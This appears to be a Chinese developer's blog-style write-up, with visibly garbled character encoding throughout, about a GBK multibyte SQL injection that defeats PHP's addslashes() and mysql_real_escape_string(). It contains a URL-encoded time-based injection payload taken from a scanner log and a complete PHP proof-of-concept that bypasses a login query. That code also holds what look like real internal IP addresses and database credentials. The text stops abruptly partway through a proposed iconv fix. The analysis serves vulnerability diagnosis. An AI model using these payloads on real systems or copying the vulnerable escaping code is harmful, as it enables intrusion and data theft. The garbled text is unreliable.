在上次活動(dòng)開發(fā)過程中，有個(gè)程序?qū)懥讼旅孢@樣的語(yǔ)句：

$sName = $_GET['name']; 
$sName = addslashes($sName); 
$sql = "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%$sName%';"; 
var_dump($sql);  
exit(); 

結(jié)果掃描工具一掃描，發(fā)現(xiàn)問題來了，被掃除了SQL注入漏洞，而且還引發(fā)了整個(gè)數(shù)據(jù)表被鎖?。▊渥ⅲ阂姷诙糠郑?/p>

檢查安全中心掃描日志發(fā)現(xiàn)：
當(dāng)SQL輸入為：
name=41%bf%27%20or%20sleep%2810.10%29%3d0%20limit%201%23
的時(shí)候引發(fā)了SQL注入。
//這里輸出：
string(98) "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%41¿///' or sleep(10.10)=0 limit 1#%';"

根本原因是addslash對(duì)于字符%BF%27的漏洞。

該漏洞最早2006年被國(guó)外用來討論數(shù)據(jù)庫(kù)字符集設(shè)為GBK時(shí)，0xbf27本身不是一個(gè)有效的GBK字符，但經(jīng)過  addslashes()  轉(zhuǎn)換后變?yōu)?xbf5c27，前面的0xbf5c是個(gè)有效的GBK字符，所以0xbf5c27會(huì)被當(dāng)作一個(gè)字符0xbf5c和一個(gè)單引號(hào)來處理，結(jié)果漏洞就觸發(fā)了。
          mysql_real_escape_string() 也存在相同的問題，只不過相比  addslashes() 它考慮到了用什么字符集來處理，因此可以用相應(yīng)的字符集來處理字符。
在MySQL中有兩種改變默認(rèn)字符集的方法。
方法一：
改變mysql配置文件my.cnf
 [client]
default-character-set=GBK

方法二：
在建立連接時(shí)使用
CODE:
SET  CHARACTER  SET  'GBK'
例：mysql_query("SET  CHARACTER  SET  'gbk'",  $c);或者
mysql_query(“SET NAMES ‘GBK’”, $c);

問題是方法二在改變字符集時(shí)mysql_real_escape_string() 并不知道而使用默認(rèn)字符集處理從而造成和  addslashes()  一樣的漏洞（備注：這句話是摘抄的，我也沒看懂）

網(wǎng)絡(luò)上查詢到有人說：
當(dāng)mysql_real_escape_string檢測(cè)到的編碼方式跟client設(shè)置的編碼方式(big5/bgk)不一致時(shí)，mysql_real_escape_string跟addslashes是沒有區(qū)別的 
比如 
[client] 
default-character-set=latin1 

mysql_query("SET  CHARACTER  SET  'gbk'",  $mysql_conn); 
這種情況下mysql_real_escape_string  是基于  latin1工作的，是不安全的 

[client] 
default-character-set=gbk 

mysql_query("SET  CHARACTER  SET  'gbk'",  $mysql_conn); 
這種情況下，mysql_real_escape_string  基于  gbk  工作，是正常的 

但是，這里我108、153上驗(yàn)證的都不成功：
用12機(jī)器的php文件在108機(jī)器mysql上，查詢到

在153鏈接測(cè)試環(huán)境CDB結(jié)點(diǎn)：
 
執(zhí)行來自：
http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的測(cè)試代碼
<?php
//$c  =  mysql_connect("localhost",  "user",  "pass");
$c = mysql_connect("10.1.164.108", "oss", "oss_da");
mysql_select_db("a_jasonyeTest", $c);

//$c = mysql_connect("10.179.12.249:3332", "oss", "oss_da");
//mysql_select_db("dbGuild20120903jasonye", $c);

mysql_select_db("database",  $c);

//  change  our  character  set
mysql_query("SET  CHARACTER  SET  'gbk'",  $c);

//  create  demo  table
mysql_query("CREATE  TABLE  users  (
        username  VARCHAR(32)  PRIMARY  KEY,
        password  VARCHAR(32)
)  CHARACTER  SET  'GBK'",  $c);
mysql_query("INSERT  INTO  users  VALUES('foo','bar'),  ('baz','test')",  $c);

//  now  the  exploit  code
$_POST['username']  =  chr(0xbf)  .  chr(0x27)  .  '  OR  username  =  username  #'; 
$_POST['password']  =  'anything'; 

//  Proper  escaping,  we  should  be  safe,  right?
$user  =  mysql_real_escape_string($_POST['username'],  $c);
$passwd  =  mysql_real_escape_string($_POST['password'],  $c);

$sql  =  "SELECT  *  FROM    users  WHERE    username  =  '{$user}'  AND  password  =  '{$passwd}'";
$res  =  mysql_query($sql,  $c);
echo  mysql_num_rows($res);  //  will  print  2,  indicating  that  we  were  able  to  fetch  all  records

?>
發(fā)現(xiàn)：都存在漏洞

縱觀以上兩種觸發(fā)漏洞的關(guān)鍵是addslashes()、mysql_real_escape_string()在Mysql配置為GBK時(shí)就可以觸發(fā)漏洞，
另外：mysql_real_escape_string在執(zhí)行前，必須正確連接到Mysql才有效。

又有，上面產(chǎn)生漏洞的原因主是有GBK的特殊字符所引起的，因而，我們需要在進(jìn)行addslashes或者mysql_real_escape之前，對(duì)輸入字符串進(jìn)行特殊處理一下。

$this->sName = $_GET['name'];
$this->sName=iconv('utf-8//IGNORE', 'gbk', $this->sName);
$this->sName=iconv('gbk//IGNORE', 'utf-8', $this->sName);             
Iconv這種方式比較粗暴，對(duì)于不能識(shí)別的特殊字符之后的語(yǔ)句在153機(jī)器上會(huì)截?cái)嗖荒茏R(shí)別的字符后面的內(nèi)容：
如下：
string(32) "41